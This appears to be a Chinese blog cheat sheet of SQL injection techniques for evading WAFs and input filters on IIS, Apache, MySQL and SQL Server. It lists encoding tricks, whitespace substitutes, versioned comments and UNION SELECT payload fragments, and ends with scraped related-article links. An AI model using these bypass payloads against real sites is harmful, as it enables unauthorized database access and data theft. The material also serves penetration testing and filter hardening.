SQL注入绕过技巧总结
1、SQL注入过程中的处理#
终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码
浏览器、代理等
ISS/Apache/Tomcat
php/java/asp.net
xxx系统
mysql/sqlserver
硬件waf
软件waf
2、bypass方法#
2.1 服务器层面bypass#
2.1.1 IIS+ASP、URL处理#
%符号的处理:会自动去掉特殊符号%,例如输入se%lect,解析出select。
unicode处理:%u,会自动解码,例如s%u006c%u0006ect
2.1.2 Apache#
有的版本允许畸形请求存在,例如GET可替换为任意word,例如"DOTA"
2.1.3 HPP方式#
id=1&id=2&id=3
Asp.net + iis: id=1,2,3
php + apache: id = 3
2.2 数据库层面bypass#
1 union select a,b from where and 1 2 3 4 5 6 7 8 9
2.2.1 mysql数据库#
位置1的替换
1、(\N) ---> id=\Nunion select
2、浮点数直接连接 --------> id=1.1union select
3、(nen) n为整数 ---------> 1e2union select
4、单/双引号(如需要单/双引号闭合,则无需空格)
5、左括号: ----------> union (select xx)
6、注释:任意/**/注释 ------------------> 1/*here*/union select xx
7、特殊注释:其中的数字和版本有关,一般大于10000都行。 -----> id=1/*!50000union*/select
位置2的替换#
位置3的替换#
1、空格替换:有如下字符可替代空格
%09, %0a, %0b, %0c, %0d, %a0
2、注释:任意/**/注释,例如 ----> union/*here*/select xx
3、左括号: ------> 1 union (select xx)
位置4的替换#
位置5的替换#
1、空格替换:有如下字符可替代空格
%09, %0a, %0b, %0c, %0d, %a0
2、左括号: ------> 1 union select (1), xx
3、运算符
加减号: 1 union select+1,xx1 union select-1,xx
~符号: 1 union select~1, xx
!符号: 1 union select!1,xx
@``@^符号:(at后面是反引号): 1 union select@`1`, xx1 union select@^1, xx
注释:任意/**/注释: 1/*here*/union select xx
特殊注释: 1 union/*!50000select*/1, xx
反引号: 1 union select `user`, xx
单/双引号: 1 union select"1", xx
{}大括号: 1 union select{x 1}, xx
\N符号: 1 union select\N, xx
位置6替换#(同位置5替换)
位置7替换#(参考位置5,无算数运算符)
其他#
1、字符串截取函数
Mid(version(), 1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
2、字符串连接函数
concat(version(), '|', user());
concat_ws('|',1,2,3)
3、字符转换
Ascii(1)
Char(49)
Hex('a')
Unhex(61)
4、/*!50000keyword*/替换
任何关键字都可以用/*!50000keyword*/替换
sqlserver数据库
空格替换#
空格符可使用以下符号替换:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
位置5/6的替换#
1、:号
1 union select:top 1 from
位置7的替换:#
1、.号
1 union select xx from.table
2、:号
1 union select xx from:table
and后的替换:#
1、:号
1 and:xx
2、%2b号
1 and%2bxx
其他#
1、字符串截取函数
Substring(@@version,1,1)Left(@@version,1)Right(@@version,1)
2、字符串转换函数
Ascii(‘a’) 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypassChar(‘97’)
当存在sql注入的情况,但是过滤了“,”,利用UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b实际上也就相当于UNION SELECT 1,2
SQL注入绕过技巧总结的更多相关文章
- SQL注入绕过技巧
1.绕过空格(注释符/* */,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格: % % %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注 ...
- SQL Injection绕过技巧
0x00 sql注入的原因 sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量. 但是更深层次的原因是,将用户输入的字符串,当成了 "sql语 ...
- SQL注入绕过的技巧总结
sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- TSRC挑战赛:WAF之SQL注入绕过挑战实录
转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...
- 五十:代码审计-PHP无框架项目SQL注入挖掘技巧
代码审计教学计划: 审计项目漏洞Demo->审计思路->完整源码框架->验证并利用漏洞 代码审计教学内容: PHP,JAVA网站应用,引入框架类开发源码,相关审计工具及插件使用 代码 ...
- SQL注入绕过waf的一万种姿势
绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...
随机推荐
- 运行ConnectionDemo时遇到的问题及解决方案
20175227张雪莹 2018-2019-2 <Java程序设计> 运行ConnectionDemo时遇到的问题及解决方案 老师博客上提供确认数据库连接的代码 import static ...
- android 获取通话记录
在manifest添加以下权限<uses-permission android:name="android.permission.READ_CALL_LOG" />&l ...
- 《Java2 实用教程(第五版)》教学进程
目录 <Java2 实用教程(第五版)>教学进程 预备作业1:你期望的师生关系是什么? 预备作业2 :学习基础和C语言基础调查 预备作业3:Linux安装及命令入门 第一周作业 第二周作业 ...
- 追逐心目中的那个Ta
申明:全篇皆为作者臆想,浪漫主义代表派作品,若有雷同,纯属巧合 人生最难过的不就是在一无所有的年纪里遇到了最想呵护一生的人,而在拥有一切的时候却失去了不顾一切的心. 长夜漫漫,本是相思人,偏听多情曲, ...
- python+opencv读取视频,调用摄像头
引用 import cv2 import numpy 创建摄像头对象 cap = cv2.VideoCapture("videoTest/test1.mp4") #参数为视频文件目 ...
- jQuery 事件冒泡
1 . 什么是冒泡 在页面上可以有多个事件,也可以多个元素响应同一个事件.假设网页上有两个元素,其中一个元素嵌套在另一个元素里,并且都被绑定了 click 事件,同时<body>元素上也绑 ...
- 洛谷P3957 跳房子(Noip2017普及组 T4)
今天我们的考试就考到了这道题,在考场上就压根没有思路,我知道它是一道dp的题,但因为太弱还是写不出来. 下来评讲的时候知道了一些思路,是dp加上二分查找的方式,还能够用单调队列优化. 但看了网上的许多 ...
- Python面试知识点小结
一.Python基础 1.Python语言特性: 动态型(运行期确定类型,静态型是编译型确定类型),强类型(不发生隐式转换,弱类型,如PHP,JavaScript就会发生隐患式转换) 2.Python ...
- Python——Set集合
一.定义 Set集合用于表示相互之间无需的一种组合对象,包括:并集.交集.补集 二.集合的两种模式 sample = set() 初始化普通集合 sample = frozenset() 初始化不可 ...
- tomcat在windows及linux环境下安装
下载tomcat 下载地址: https://tomcat.apache.org/download-90.cgi 7,8,9的版本都可以下,这里下载最新版本 注意:Binary是编译好的,可以直接使用 ...